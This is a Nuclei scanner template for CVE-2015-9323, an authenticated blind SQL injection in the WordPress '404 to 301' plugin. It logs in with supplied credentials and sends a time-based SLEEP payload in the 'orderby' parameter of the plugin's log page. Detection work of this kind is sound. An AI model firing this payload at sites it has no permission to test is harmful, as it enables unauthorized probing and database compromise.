nuclei-templates/http/cves/2015/CVE-2015-9323.yaml

55 lines
2.0 KiB
YAML
Raw Permalink Blame History

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

id: CVE-2015-9323
info:
name: 404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection
author: Harsh
severity: critical
description: |
The 404 to 301 Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or potential compromise of the WordPress site.
remediation: Fixed in version 2.0.3
reference:
- https://wpscan.com/vulnerability/61586816-dd2b-461d-975f-1989502affd9
- http://cinu.pl/research/wp-plugins/mail_e28f19a8f03f0517f94cb9fea15d8525.html
- https://wordpress.org/plugins/404-to-301/#developers
- https://github.com/Enes4xd/Enes4xd
- https://github.com/Hacker5preme/Exploits
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-9323
cwe-id: CWE-89
epss-score: 0.0071
epss-percentile: 0.80421
cpe: cpe:2.3:a:duckdev:404_to_301:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: duckdev
product: 404_to_301
framework: wordpress
tags: cve2015,cve,404-to-301,sqli,wpscan,wp-plugin,wp,wordpress,authenticated,duckdev
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 15s
GET /wp-admin/admin.php?page=i4t3-logs&orderby=(SELECT+*+FROM+(SELECT+SLEEP(7))XXX)--+- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "404-to-301")'
condition: and
# digest: 4b0a00483046022100c27236f98002c3fa3feb31b6084010a0885416d66e5f558006f1e087f2c42369022100de53fe3a0f1b9880b34c9db76ee96cd7e8fe47827ba3e6701ed0c0cd911b5942:922c64590222798bb761d5b6d8e72950